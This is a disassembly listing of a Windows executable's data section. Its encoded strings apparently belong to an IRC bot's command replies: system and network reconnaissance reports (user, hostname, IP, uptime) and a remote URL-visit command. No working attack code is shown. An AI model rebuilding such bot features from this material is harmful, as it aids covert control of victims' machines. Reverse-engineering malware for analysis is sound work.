dword_43A030 dd 234032Dh, 69737973h, 26F666Eh, 2202D03h, 2555043h, 4925203Ah
; DATA XREF: sub_41AA42+297o
dd 4D753436h, 202E7A48h, 4D415202h, 25203A02h, 20424B73h
dd 61746F74h, 25202C6Ch, 20424B73h, 65657266h, 4402202Eh
dd 26B7369h, 7325203Ah, 746F7420h, 202C6C61h, 66207325h
dd 2E656572h, 534F0220h, 57203A02h, 6F646E69h, 25207377h
dd 25282073h, 64252E64h, 7542202Ch, 20646C69h, 2E296425h
dd 79530220h, 72696473h, 25203A02h, 2202E73h, 74736F48h
dd 656D616Eh, 25203A02h, 25282073h, 202E2973h, 72754302h
dd 746E6572h, 65735520h, 203A0272h, 202E7325h, 74614402h
dd 203A0265h, 202E7325h, 6D695402h, 203A0265h, 202E7325h
dd 74705502h, 2656D69h, 7325203Ah, 2Eh
dword_43A10C dd 4D3A6464h, 793A4D4Dh, 797979h ; DATA XREF: sub_41AA42+192o
aCouldnTResolve db 'couldn',27h,'t resolve host',0 ; DATA XREF: sub_41AA42:loc_41ABA6o
align 10h
aSS_1 db '%s (%s)',0 ; DATA XREF: sub_41AA42+EBo
a2003 db '2003',0 ; DATA XREF: sub_41AA42+BAo
align 10h
dword_43A140 dd 234032Dh, 6974656Eh, 26F666Eh, 2202D03h, 65707954h
; DATA XREF: sub_41ACF6+A4o
dd 25203A02h, 25282073h, 202E2973h, 20504902h, 72646441h
dd 2737365h, 7325203Ah, 4802202Eh, 6E74736Fh, 2656D61h
dd 7325203Ah, 2Eh
off_43A184 dd offset word_412F4E ; DATA XREF: sub_41ACF6:loc_41AD62o
off_43A188 dd offset dword_4E414C ; DATA XREF: sub_41ACF6:loc_41AD58o
dword_43A18C dd 6C616944h, 70752Dh ; DATA XREF: sub_41ACF6+5Bo
dword_43A194 dd 20746F4Eh, 6E6E6F63h, 65746365h, 64h ; DATA XREF: sub_41ACF6+48o
unk_43A1A4 db 2Dh ; - ; DATA XREF: sub_41ADB5:loc_41AF6Eo
db 3, 34h, 2
db 76h ; v
db 69h, 73h, 69h
db 74h ; t
db 2, 3, 2Dh
aFailedToConnec db ' Failed to connect to HTTP server.',0
align 4
unk_43A1D4 db 2Dh ; - ; DATA XREF: sub_41ADB5:loc_41AF67o
db 3, 34h, 2
db 76h ; v
db 69h, 73h, 69h
db 74h ; t
db 2, 3, 2Dh
aCouldNotOpenAC db ' Could not open a connection.',0
align 10h
dword_43A200 dd 234032Dh, 69736976h, 2D030274h, 766E4920h, 64696C61h
; DATA XREF: sub_41ADB5+1A0o
dd 4C525520h, 2Eh
unk_43A21C db 2Dh ; - ; DATA XREF: sub_41ADB5:loc_41AF48o
db 3, 34h, 2
db 76h ; v
db 69h, 73h, 69h
db 74h ; t
db 2, 3, 2Dh
aFailedToGetReq db ' Failed to get requested URL from HTTP server.',0
align 4
dword_43A258 dd 234032Dh, 69736976h, 2D030274h, 4C525520h, 73697620h
; DATA XREF: sub_41ADB5+18Co
dd 64657469h, 2Eh
dword_43A274 dd 2A2F2Ah, 2 dup(0) ; DATA XREF: sub_41ADB5+3Bo
dword_43A280 dd 6BE49C9Ah ; DATA XREF: sub_41B8D8+4w sub_41B8E2r ...
align 10h
dword_43A290 dd 173Fh ; DATA XREF: sub_41C679+Dr
dd 9875h, 9873h
off_43A29C dd offset sub_41C748 ; DATA XREF: ___:0041B784r
dd offset nullsub_2
dd offset nullsub_2
dword_43A2A8 dd 1B3Fh ; DATA XREF: sub_41C7BF+Dr
dword_43A2AC dd 19930520h, 4 dup(0) ; DATA XREF: sub_41CC41+2o
; sub_41CC4A+2o
off_43A2C0 dd offset sub_41B7C2 ; DATA XREF: sub_41DA29+1Cr
dword_43A2C4 dd 2 ; DATA XREF: sub_423590+Er
; sub_4235C9+46r ...
dd 10h, 0
off_43A2D0 dd offset off_43A2D0 ; DATA XREF: sub_41E976+Do
; sub_41E976+69o ...
off_43A2D4 dd offset off_43A2D0 ; DATA XREF: sub_41E976:loc_41E9F6r
; sub_41E976+89w ...
dd offset dword_43A2E8
dd offset dword_43A2E8
dword_43A2E0 dd 0FFFFFFFFh ; DATA XREF: sub_41E976r
; sub_41EABA:loc_41EB07w
dd 0FFFFFFFFh
dword_43A2E8 dd 0F0h, 0F1h, 800h dup(0) ; DATA XREF: ___:0043A2D8o
; ___:0043A2DCo
off_43C2F0 dd offset off_43A2D0 ; DATA XREF: sub_41EABA+15r
; sub_41EABA+20w ...
dword_43C2F4 dd 1E0h ; DATA XREF: sub_41B202+185r
; sub_41B513:loc_41B54Fr ...
off_43C2F8 dd offset word_43C302 ; DATA XREF: sub_41B6EE+23r
; sub_41B6EE:loc_41B74Fr ...
off_43C2FC dd offset word_43C302 ; DATA XREF: sub_426BC1+18r
db 2 dup(0)
word_43C302 dw 20h ; DATA XREF: sub_424D47+18r
; ___:off_43C2F8o ...
unicode 0, < ((((( H>
dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h)
dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h)
dd 0Ah dup(20002h), 2 dup(100010h), 20h, 40h dup(0)
dword_43C504 dd 1 ; DATA XREF: sub_41B6EE:loc_41B6F6r
; sub_41B6EE:loc_41B73Ar ...
byte_43C508 db 2Eh ; DATA XREF: sub_420510:loc_420804r
; sub_420510+311r ...
align 4
dd 1
off_43C510 dd offset aNull_0 ; DATA XREF: sub_41F69F:loc_41FA03r
; sub_41F69F+457r
; "(null)"
off_43C514 dd offset aNull ; DATA XREF: sub_41F69F+259r
; "(null)"
byte_43C518 db 1 ; DATA XREF: sub_41FEA9+E1r
db 2, 4, 8
align 10h
dword_43C520 dd 3A4h ; DATA XREF: sub_41FEA9+2Fo
dword_43C524 dd 82798260h, 21h, 0 ; DATA XREF: sub_41FEA9+11Dr
dword_43C530 dd 0DFA6h ; DATA XREF: sub_41FEA9+C0r
align 8
dd 0A5A1h, 0
dd 0FCE09F81h, 0
dd 0FC807E40h, 0
dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0)
dd 0FE81h, 0
dd 0FE40h, 0
dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0)
dd 0FE81h, 0
dd 0FE41h, 0
dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0)
dd 0FE81h, 0
dd 0FEA17E40h, 0
dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0)
dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0
dword_43C610 dd 1 ; DATA XREF: sub_41FEA9+3Co
; sub_4203DF+Co
dword_43C614 dd 16h ; DATA XREF: sub_4203DF:loc_420414r
dd 2 dup(2), 3, 2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch
dd 9, 0Ch, 0Ah, 7, 0Bh, 8, 0Ch, 16h, 0Dh, 16h, 0Fh, 2
dd 10h, 0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h, 2, 41h
dd 0Dh, 43h, 2, 50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h
dd 59h, 0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h, 9, 6, 16h
dd 80h, 0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h
dd 29h, 9Eh, 0Dh, 0A1h, 2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h
dd 11h, 0CEh, 2, 0D7h, 0Bh, 718h, 0Ch
dword_43C778 dd 0D2D0920h, 5Dh ; DATA XREF: sub_4203DF+19o
; sub_420510:loc_420A77o
dword_43C780 dd 5Dh, 0 ; DATA XREF: sub_420510:loc_420967o
dword_43C788 dd 14h ; DATA XREF: sub_421624+2o
off_43C78C dd offset aExp ; DATA XREF: sub_421624:loc_421641r
; "exp"
dd 1Dh, 427878h, 1Ah, 42C268h, 1Bh, 427870h, 1Fh, 427868h
dd 13h, 427860h, 21h, 427858h, 0Eh, 427850h, 0Dh, 427848h
dd 0Fh, 427840h, 10h, 427838h, 5, 427830h, 1Eh, 42782Ch
dd 12h, 427828h, 20h, 427824h, 0Ch, 42781Ch, 0Bh, 427814h
dd 15h, 42780Ch, 1Ch, 427804h, 19h, 4277FCh, 11h, 4277F4h
dd 18h, 4277ECh, 16h, 4277E4h, 17h, 4277DCh, 22h, 4277D8h
dd 23h, 4277D4h, 24h, 4277D0h
dbl_43C860 dq 1.797693134862316e308 ; DATA XREF: sub_42135F+B7r
; sub_42135F:loc_421446r ...
dd 0
dd 0FFF80000h
dbl_43C870 dq 1.797693134862316e308 ; DATA XREF: sub_42135F+92r
; sub_42135F:loc_42141Er ...
dd 0
dd 100000h, 0
dd 80000000h
tbyte_43C888 dt 2.3562723457267347066e313 ; DATA XREF: sub_42180C+Dr
; sub_42180C+1Fr
align 4
tbyte_43C894 dt 1.9149954921904370718e-1233 ; DATA XREF: sub_42180C+31r
align 10h
off_43C8A0 dd offset sub_421CA0 ; DATA XREF: sub_41C760+Fw
; sub_41F69F+3AAr
off_43C8A4 dd offset sub_421935 ; DATA XREF: sub_41C760+5w
; sub_41F69F+3E2r
off_43C8A8 dd offset sub_42199B ; DATA XREF: sub_41C760+14w
; sub_420510+430r
off_43C8AC dd offset sub_4218DB ; DATA XREF: sub_41C760+1Ew
; sub_41F69F+3CBr
off_43C8B0 dd offset sub_421983 ; DATA XREF: sub_41C760+28w
off_43C8B4 dd offset sub_421CA0 ; DATA XREF: sub_41C760+32w
dd offset sub_42470C
align 10h
dd offset sub_42255C
off_43C8C4 dd offset sub_42255C ; DATA XREF: sub_4225B2+29r
dword_43C8C8 dd 0C0000005h ; DATA XREF: sub_422E2F+Ar
; sub_422E2F+11o ...
dword_43C8CC dd 0Bh ; DATA XREF: sub_425A82+Ar
dd 0
dd 0C000001Dh, 4, 0
dd 0C0000096h, 4, 0
db 8Dh, 0
dw 0C000h
dd 8, 0
dd 0C000008Eh, 8, 0
dd 0C000008Fh, 8, 0
db 90h
db 2 dup(0), 0C0h
dd 8, 0
dd 0C0000091h, 8, 0
dd 0C0000092h, 8, 0
dd 0C0000093h, 8, 0
dword_43C940 dd 3 ; DATA XREF: ___:00422D46r
; sub_425955+C8r
dword_43C944 dd 7 ; DATA XREF: ___:00422D4Cr
; sub_425955+CDr
dword_43C948 dd 0Ah ; DATA XREF: sub_422E2F+4r
; sub_425A82+4r
dword_43C94C dd 8Ch ; DATA XREF: ___:00422D70r
; ___:00422D7Dw ...
dword_43C950 dd 0FFFFFFFFh, 0A00h ; DATA XREF: sub_41F043:loc_41F0C4o
; sub_41F58A:loc_41F647o
dword_43C958 dd 2 ; DATA XREF: sub_4235C9+Eo
; sub_4235C9+28r
off_43C95C dd offset aR6002FloatingP ; DATA XREF: sub_4235C9+FCr
; sub_4235C9+12Dr
; "R6002\r\n- floating point not loaded\r\n"
dd 8, 427B94h, 9, 427B68h, 0Ah, 427B44h, 10h, 427B18h
dd 11h, 427AE8h, 12h, 427AC4h, 13h, 427A98h, 18h, 427A60h
dd 19h, 427A38h, 1Ah, 427A00h, 1Bh, 4279C8h, 1Ch, 4279A0h
dd 78h, 427990h, 79h, 427980h, 7Ah, 427970h, 0FCh, 43381Ch
dd 0FFh, 427960h
off_43C9E8 dd offset dword_4DB5A0 ; DATA XREF: sub_4235C9+1Bo
; sub_423936+55o
align 10h
dd offset dword_4DB5A0
dd 101h
dword_43C9F8 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_423936+72o
dd 1000h, 0
dword_43CA08 dd 3 dup(0) ; DATA XREF: sub_41F58A+50o
; sub_420446+12o
dd 2, 0FFFFFFFFh, 3 dup(0)
dword_43CA28 dd 3 dup(0) ; DATA XREF: sub_41F58A+58o
; sub_420446:loc_420464o
dd 2, 0FFFFFFFFh, 7 dup(0)
dword_43CA58 dd 84h dup(0) ; DATA XREF: sub_423936+9Bo
dword_43CC68 dd 2 dup(0) ; DATA XREF: sub_423936+69o
dword_43CC70 dd 2694h ; DATA XREF: sub_420FC1+3r
; sub_421014+46r
align 8
dword_43CC78 dd 400h, 0FFFFFC01h, 35h, 0Bh, 40h, 3FFh ; DATA XREF: sub_4244ECo
dword_43CC90 dd 80h, 0FFFFFF81h, 18h, 8, 20h, 7Fh ; DATA XREF: sub_424502o
dword_43CCA8 dd 7080h ; DATA XREF: sub_422669+76r
; sub_4247EC+5Ew ...
dword_43CCAC dd 1 ; DATA XREF: sub_422669+98r
; sub_4247EC+8Bw ...
dword_43CCB0 dd 0FFFFF1F0h ; DATA XREF: sub_422669:loc_42271Br
; sub_4247EC+94w ...
off_43CCB4 dd offset dword_545350 ; DATA XREF: ___:off_43CD34o
dd 0Fh dup(0)
off_43CCF4 dd offset dword_544450 ; DATA XREF: ___:off_43CD38o
dd 0Fh dup(0)
off_43CD34 dd offset off_43CCB4 ; DATA XREF: sub_4247EC+BAr
; sub_4247EC+D9r ...
off_43CD38 dd offset off_43CCF4 ; DATA XREF: sub_4247EC+F4r
; sub_4247EC+11Br ...
align 10h
dword_43CD40 dd 0FFFFFFFFh ; DATA XREF: sub_4247EC+1Dw
; sub_424A4A+1Er ...
dword_43CD44 dd 0 ; DATA XREF: sub_424A4A:loc_424B7Er
; sub_424BF6+BFw
dword_43CD48 dd 0 ; DATA XREF: sub_424A4A+192r
; sub_424BF6+E0w
align 10h
dword_43CD50 dd 0FFFFFFFFh ; DATA XREF: sub_4247EC+17w
; sub_424A4A+26r ...
dword_43CD54 dd 0 ; DATA XREF: sub_424A4A+13Ar
; sub_424BF6+EAw ...
dword_43CD58 dd 0 ; DATA XREF: sub_424A4A+1A1r
; sub_424BF6+23r ...
dword_43CD5C dd 0FFFFFFFFh ; DATA XREF: sub_424BF6+84r
dd 1Eh, 3Bh, 5Ah, 78h, 97h, 0B5h, 0D4h, 0F3h, 111h, 130h
dd 14Eh
dword_43CD8C dd 16Dh ; DATA XREF: sub_422669+2Ar
; sub_424BF6+2Er ...
dword_43CD90 dd 0FFFFFFFFh ; DATA XREF: sub_424BF6:loc_424C82r
dd 1Eh, 3Ah, 59h, 77h, 96h, 0B4h, 0D3h, 0F2h, 110h, 12Fh
dd 14Dh, 16Ch, 0
dword_43CDC8 dd 2 dup(0) ; DATA XREF: sub_425DDA+7o
dd 4002A000h, 2 dup(0)
dd 4005C800h, 2 dup(0)
dd 4008FA00h, 2 dup(0)
dd 400C9C40h, 2 dup(0)
; ---------------------------------------------------------------------------
push eax
retn
; ---------------------------------------------------------------------------
dw 400Fh
dd 2 dup(0)
dd 4012F424h, 0
dd 80000000h, 40169896h, 0
dd 20000000h, 4019BEBCh, 0
dd 0C9BF0400h, 40348E1Bh, 0A1000000h, 1BCECCEDh, 404ED3C2h
dd 0B59EF020h, 0ADA82B70h, 40699DC5h, 25FD5DD0h, 4F8E1AE5h
dd 4083EB19h, 95D79671h, 8D050E43h, 409EAF29h, 44A0BFF9h
dd 8F1281EDh, 40B98281h, 0A6D53CBFh, 1F49FFCFh, 40D3C278h
dd 8CE0C66Fh, 47C980E9h, 41A893BAh, 556B85BCh, 0F78D3927h
dd 427CE070h, 0DE8EDDBCh, 0EBFB9DF9h, 4351AA7Eh, 0E376E6A1h
dd 2F29F2CCh, 44268184h, 0AA171028h, 0E310AEF8h, 44FAC4C5h
dd 0F3D4A7EBh, 4AE1EBF7h, 45CF957Ah, 91C7CC65h, 0A0AEA60Eh
dd 46A3E319h, 0C17650Dh, 75868175h, 4D48C976h, 0A7E44258h
dd 353B3993h, 53EDB2B8h, 5DE5A74Dh, 3B5DC53Dh, 5A929E8Bh
dd 0F0A65DFFh, 54C020A1h, 61378CA5h, 5A8BFDD1h, 5D25D88Bh
dd 67DBF989h, 0F3F895AAh, 0C8A2BF27h, 6E80DD5Dh, 979BC94Ch
dd 52028A20h, 7525C460h, 0
dword_43CF28 dd 0CCCDCCCDh, 0CCCCCCCCh, 3FFBCCCCh, 0D70A3D71h, 0A3D70A3h
; DATA XREF: sub_425DDA+1Bo
dd 3FF8A3D7h, 0DF3B645Ah, 6E978D4Fh, 3FF58312h, 652CD3C3h
dd 1758E219h, 3FF1D1B7h, 84230FD0h, 0AC471B47h, 3FEEA7C5h
dd 69B6A640h, 0BD05AF6Ch, 3FEB8637h, 42BC3D33h, 94D5E57Ah
dd 3FE7D6BFh, 0CEFDFDC2h, 77118461h, 3FE4ABCCh, 0E15B4C2Fh
dd 94BEC44Dh, 3FC9E695h, 3B53C492h, 14CD4475h, 3FAF9ABEh
dd 94BA67DEh, 1EAD4539h, 3F94CFB1h, 0E2C62324h, 313BBABCh
dd 3F7A8B61h, 0C1595561h, 7C53B17Eh, 3F5FBB12h, 8D2FEED7h
dd 8592BE06h, 3F44FB15h, 0E9A53F24h, 0EA27A539h, 3F2AA87Fh
dd 0E4A1AC7Dh, 467C64BCh, 3E55DDD0h, 0CC067B63h, 83775423h
dd 3D8191FFh, 193AFA91h, 4325637Ah, 3CACC031h, 38D18921h
dd 0B8974782h, 3BD7FD00h, 85888DCh, 0E3E8B11Bh, 3B03A686h
dd 424584C6h, 7599B607h, 3A2EDB37h, 0D21C7133h, 0EE32DB23h
dd 395A9049h, 0C0BE87A6h, 82A5DA57h, 32B5A2A6h, 11B268E2h
dd 449F52A7h, 2C10B759h, 2DE44925h, 534F3436h, 256BCEAEh
dd 0A404598Fh, 7DC2DEC0h, 1EC6E8FBh, 5A88E79Eh, 0BF3C9157h
dd 18228350h, 62654B4Eh, 0AF8F83FDh, 117D9406h, 9FDE2DE4h
dd 4C8D2CEh, 0AD8A6DDh
off_43D084 dd offset off_427D68 ; DATA XREF: ___:00427F44o
; ___:00428030o
dd 0
a_?avexception@ db '.?AVexception@@',0
off_43D09C dd offset off_427D68 ; DATA XREF: ___:off_427DF8o
; ___:00427E38o ...
dd 0
a_?avlogic_erro db '.?AVlogic_error@std@@',0
align 4
off_43D0BC dd offset off_427D68 ; DATA XREF: ___:off_427E40o
; ___:00427E84o ...
dd 0
a_?avout_of_ran db '.?AVout_of_range@std@@',0
align 4
off_43D0DC dd offset off_427D68 ; DATA XREF: ___:off_427E8Co
; ___:00427ED0o ...
dd 0
a_?avlength_err db '.?AVlength_error@std@@',0
align 10h
off_43D100 dd offset off_427D68 ; DATA XREF: ___:off_427ED8o
; ___:00427F14o
align 8
a_?avtype_info@ db '.?AVtype_info@@',0
dd offset sub_42470C
align 10h
dword_43D120 dd 2 dup(0) ; DATA XREF: sub_40111D+C8o
dword_43D128 dd 2 dup(0) ; DATA XREF: sub_40111D+62o
; ___:0040146Eo ...
dword_43D130 dd 0 ; DATA XREF: ___:004015B0o
; sub_401ACD+B07o ...
dd 5 dup(0)
dword_43D148 dd 0 ; DATA XREF: sub_401ACD+B63r
; sub_4150B4+60r
dd 2D9h dup(0)
dword_43DCB0 dd 0 ; DATA XREF: sub_401ACD+5E62r
; sub_401ACD+5F3Fr ...
dd 7Fh dup(0)
dword_43DEB0 dd 0 ; DATA XREF: sub_40B0F6+41w
; sub_40B231+40w ...
dword_43DEB4 dd 0 ; DATA XREF: sub_40B0F6+47w
; sub_40B231+46w ...
dword_43DEB8 dd 0 ; DATA XREF: sub_40B0F6+52w
; sub_40B231+3Ar ...
dword_43DEBC dd 0 ; DATA XREF: sub_40111D+Cr
; sub_4017ED+B9w ...
dword_43DEC0 dd 0 ; DATA XREF: sub_40B231+75r
; sub_40B412+2Aw ...
dword_43DEC4 dd 0 ; DATA XREF: ___:004015FFw
; ___:00401677w ...
byte_43DEC8 db 0 ; DATA XREF: sub_4017ED+91o
; sub_401ACD+5DA7r ...
align 4
dd 1E21h dup(0)
dword_445750 dd 2A3Fh dup(0) ; DATA XREF: ___:0043375Co
db 0
byte_45004D db 3 dup(0) ; DATA XREF: ___:00437A48o
dd 1CFCh dup(0)
db 0
byte_457441 db 3 dup(0) ; DATA XREF: ___:off_4384B8o
dword_457444 dd 17780h dup(0)
db 0
byte_4B5245 db 3 dup(0) ; DATA XREF: ___:off_438324o
dword_4B5248 dd 569Ah dup(0)
dword_4CACB0 dd 0 ; DATA XREF: sub_40111D+FDw
; sub_40B0F6+13o ...
dword_4CACB4 dd 0 ; DATA XREF: ___:0040125Ew
; sub_401ACD:loc_4044D7r ...
dword_4CACB8 dd 0 ; DATA XREF: ___:loc_4016FFo
dword_4CACBC dd 20h dup(0) ; DATA XREF: ___:004016B6o
; ___:00401750o ...
dword_4CAD3C dd 10h dup(0) ; DATA XREF: ___:004016CCo
dword_4CAD7C dd 24h dup(0) ; DATA XREF: ___:004016E3o
dword_4CAE0C dd 0 ; DATA XREF: ___:004016D7w
; ___:00401767w ...
dword_4CAE10 dd 0 ; DATA XREF: ___:004016F6w
align 10h
byte_4CAE20 db 0 ; DATA XREF: sub_401955+28r
; sub_401955+30o
align 4
dword_4CAE24 dd 0 ; DATA XREF: ___:00401704w
; ___:0040171Br ...
dword_4CAE28 dd 0 ; DATA XREF: ___:004016BBw
; sub_401ACD+8BEr
dword_4CAE2C dd 0 ; DATA XREF: sub_401ACD+7DBFo
; sub_40C9A4+13o ...
dword_4CAE30 dd 0 ; DATA XREF: sub_409B12+4A7w
; sub_409B12+4EBr ...
dword_4CAE34 dd 0 ; DATA XREF: sub_409B12+65w
; sub_4196BC+166r
dword_4CAE38 dd 0 ; DATA XREF: sub_409B12+80Bw
; sub_409B12+880r ...
dword_4CAE3C dd 0 ; DATA XREF: sub_409B12+9D8w
; sub_409B12+A43r ...
dword_4CAE40 dd 0 ; DATA XREF: sub_409B12+98Aw
; sub_409B12+A13r ...
dword_4CAE44 dd 0 ; DATA XREF: sub_409B12+48Dw
; sub_409B12+4DBr ...
dword_4CAE48 dd 0 ; DATA XREF: sub_409B12+213w
; sub_409B12+234r
dword_4CAE4C dd 0 ; DATA XREF: sub_409B12+9CBw
; sub_409B12+A3Br ...
dword_4CAE50 dd 0 ; DATA XREF: sub_409B12+372w
; sub_409B12+3C7r ...
dword_4CAE54 dd 0 ; DATA XREF: sub_409B12+40Fw
; sub_41AA42+11Er
dword_4CAE58 dd 0 ; DATA XREF: sub_409B12+37Fw
; sub_409B12+3CFr ...
dword_4CAE5C dd 0 ; DATA XREF: sub_409B12+3C0w
; sub_418C8E+ADr
dword_4CAE60 dd 0 ; DATA XREF: sub_409B12+55Aw
; sub_40F0D5+115r ...
dword_4CAE64 dd 0 ; DATA XREF: sub_409B12+72w
; sub_409B12+D2r ...
dword_4CAE68 dd 0 ; DATA XREF: sub_409B12+97Dw
; sub_409B12+A06r ...
dword_4CAE6C dd 0 ; DATA XREF: sub_409B12+3A6w
; sub_409B12+3E7r ...
dword_4CAE70 dd 0 ; DATA XREF: sub_409B12+859w
; sub_409B12+8ACr ...
dword_4CAE74 dd 0 ; DATA XREF: sub_409B12+2A5w
; sub_409B12+2F0r ...
dword_4CAE78 dd 0 ; DATA XREF: sub_409B12+84Cw
; sub_409B12+8A4r ...
dword_4CAE7C dd 0 ; DATA XREF: sub_409B12+B3w
dword_4CAE80 dd 0 ; DATA XREF: sub_409B12+866w
; sub_409B12+8B4r ...
dword_4CAE84 dd 0 ; DATA XREF: sub_409B12+54Dw
; sub_409B12+6D0r ...
dword_4CAE88 dd 0 ; DATA XREF: sub_409B12+58w
; sub_409B12+CAr ...
dword_4CAE8C dd 0 ; DATA XREF: sub_409B12+934w
dword_4CAE90 dd 0 ; DATA XREF: sub_401ACD:loc_403F25r
; sub_409B12+A95w ...
dword_4CAE94 dd 0 ; DATA XREF: sub_409B12+A6w
; sub_409B12+F2r
dword_4CAE98 dd 0 ; DATA XREF: sub_409B12+480w
; sub_409B12+4D3r ...
dword_4CAE9C dd 0 ; DATA XREF: sub_409B12+5F6w
; sub_40BFA3+20r
dword_4CAEA0 dd 0 ; DATA XREF: sub_409B12+9BEw
; sub_409B12+A33r
dword_4CAEA4 dd 0 ; DATA XREF: sub_409B12+5E9w
; sub_409B12+754r ...
dword_4CAEA8 dd 0 ; DATA XREF: sub_409B12+A0Cw
dword_4CAEAC dd 0 ; DATA XREF: sub_409B12+B50w
dword_4CAEB0 dd 0 ; DATA XREF: sub_409B12+7FEw
; sub_409B12+86Dr ...
dword_4CAEB4 dd 0 ; DATA XREF: sub_409B12+1B3w
; sub_40B2F1+3Do ...
dword_4CAEB8 dd 0 ; DATA XREF: sub_409B12+997w
; sub_409B12+A1Br ...
dword_4CAEBC dd 0 ; DATA XREF: sub_409B12+38Cw
; sub_409B12+3D7r ...
dword_4CAEC0 dd 0 ; DATA XREF: sub_409B12+399w
; sub_409B12+3DFr ...
dword_4CAEC4 dd 0 ; DATA XREF: sub_409B12+C85w
; sub_409B12+C8Cr ...
dword_4CAEC8 dd 0 ; DATA XREF: sub_409B12+6ACw
; ___:0041088Fr
dword_4CAECC dd 0 ; DATA XREF: sub_40111D+1Dr
; sub_40111D+23r ...
dword_4CAED0 dd 0 ; DATA XREF: sub_409B12+4B4w
; sub_4153BC+207r
dword_4CAED4 dd 0 ; DATA XREF: sub_409B12+9E5w
; sub_409B12+A4Br ...
dword_4CAED8 dd 0 ; DATA XREF: sub_401000+51r
; sub_409B12+2B2w ...
dword_4CAEDC dd 0 ; DATA XREF: sub_409B12+7Fw
; sub_409B12+DAr ...
dword_4CAEE0 dd 0 ; DATA XREF: sub_401ACD+5911r
; sub_401ACD+79CEr ...
dword_4CAEE4 dd 0 ; DATA XREF: ___:004012ADr
; sub_401ACD+5117r ...
dword_4CAEE8 dd 0 ; DATA XREF: sub_409B12+825w
; sub_409B12+890r ...
dword_4CAEEC dd 0 ; DATA XREF: sub_409B12+9A4w
; sub_409B12+A23r
dword_4CAEF0 dd 0 ; DATA XREF: sub_409B12+C0Ew
; sub_409B12+C3Fr
dword_4CAEF4 dd 0 ; DATA XREF: sub_409B12+2CCw
; sub_4184E1+47r
dword_4CAEF8 dd 0 ; DATA XREF: sub_409B12+22Dw
dword_4CAEFC dd 0 ; DATA XREF: sub_409B12+91Aw
; sub_409B12+92Er
dword_4CAF00 dd 0 ; DATA XREF: sub_409B12+C28w
dword_4CAF04 dd 0 ; DATA XREF: sub_409B12+2D9w
; sub_4184E1+4Fr
dword_4CAF08 dd 0 ; DATA XREF: sub_409B12+574w
; sub_409B12+6E8r ...
dword_4CAF0C dd 0 ; DATA XREF: sub_409B12+83Fw
; sub_409B12+873r
dword_4CAF10 dd 0 ; DATA XREF: sub_409B12+220w
; sub_409B12+23Cr
dword_4CAF14 dd 0 ; DATA XREF: sub_409B12+172w
; sub_409B12+1C2r ...
dword_4CAF18 dd 0 ; DATA XREF: sub_401ACD+1E30r
; sub_401ACD+5AC7r ...
dword_4CAF1C dd 0 ; DATA XREF: sub_4017ED+C4r
; sub_401ACD+51A1r ...
dword_4CAF20 dd 0 ; DATA XREF: sub_409B12+567w
; sub_409B12+6DCr ...
dword_4CAF24 dd 0 ; DATA XREF: sub_409B12+8DBw
; sub_409B12:loc_40A40Bw ...
dword_4CAF28 dd 0 ; DATA XREF: sub_401000+26r
; sub_409B12+28Bw ...
dword_4CAF2C dd 0 ; DATA XREF: sub_401ACD+7959r
; sub_409B12+69Fw ...
dword_4CAF30 dd 0 ; DATA XREF: sub_409B12+32Dw
; sub_409B12+341r ...
dword_4CAF34 dd 0 ; DATA XREF: sub_409B12+3B3w
; sub_409B12+3EFr ...
dword_4CAF38 dd 0 ; DATA XREF: sub_409B12+C01w
; sub_409B12+C37r
dword_4CAF3C dd 0 ; DATA XREF: sub_409B12+818w
; sub_409B12+888r ...
dword_4CAF40 dd 0 ; DATA XREF: sub_409B12+206w
; sub_409B12+227r
dword_4CAF44 dd 0 ; DATA XREF: sub_409B12+18Cw
; sub_409B12+1D2r ...
dword_4CAF48 dd 0 ; DATA XREF: sub_409B12+832w
; sub_409B12+898r ...
dword_4CAF4C dd 0 ; DATA XREF: sub_409B12+624w
; sub_409B12+774r
dword_4CAF50 dd 0 ; DATA XREF: sub_401000+5Ar
; sub_409B12+2BFw ...
dword_4CAF54 dd 0 ; DATA XREF: sub_409B12+66Bw
; sub_409B12+79Cr ...
dword_4CAF58 dd 0 ; DATA XREF: sub_409B12+320w
; sub_409B12+334r ...
dword_4CAF5C dd 0 ; DATA XREF: sub_409B12+644w
; sub_409B12+784r ...
dword_4CAF60 dd 0 ; DATA XREF: sub_409B12+44Cw
; sub_409B12+4AEr ...
dword_4CAF64 dd 0 ; DATA XREF: sub_409B12+199w
; sub_409B12+1DAr ...
dword_4CAF68 dd 0 ; DATA XREF: sub_409B12+365w
; sub_409B12+3BAr ...
dword_4CAF6C dd 0 ; DATA XREF: sub_409B12+AA2w
dword_4CAF70 dd 0 ; DATA XREF: sub_409B12+5DCw
; sub_409B12+748r ...
dword_4CAF74 dd 0 ; DATA XREF: sub_4017ED+3Er
; sub_401ACD+5153r ...
dword_4CAF78 dd 0 ; DATA XREF: sub_409B12+4Bw
; sub_409B12+C2r ...
dword_4CAF7C dd 0 ; DATA XREF: sub_409B12+473w
; sub_409B12+4CBr ...
dword_4CAF80 dd 0 ; DATA XREF: sub_409B12+165w
; sub_409B12+1BAr ...
dword_4CAF84 dd 0 ; DATA XREF: sub_409B12+9FFw
; sub_409B12+A5Br ...
dword_4CAF88 dd 0 ; DATA XREF: sub_409B12+685w
; sub_409B12+7ACr ...
dword_4CAF8C dd 0 ; DATA XREF: sub_401955+D1r
; sub_401ACD+51B6r ...
dword_4CAF90 dd 0 ; DATA XREF: sub_409B12+C1Bw
; sub_409B12+C47r
dword_4CAF94 dd 0 ; DATA XREF: sub_409B12+3Ew
; sub_409B12+BAr ...
dword_4CAF98 dd 0 ; DATA XREF: sub_401000+45r
; sub_409B12+298w ...
dword_4CAF9C dd 0 ; DATA XREF: sub_409B12+651w
; sub_409B12+78Cr ...
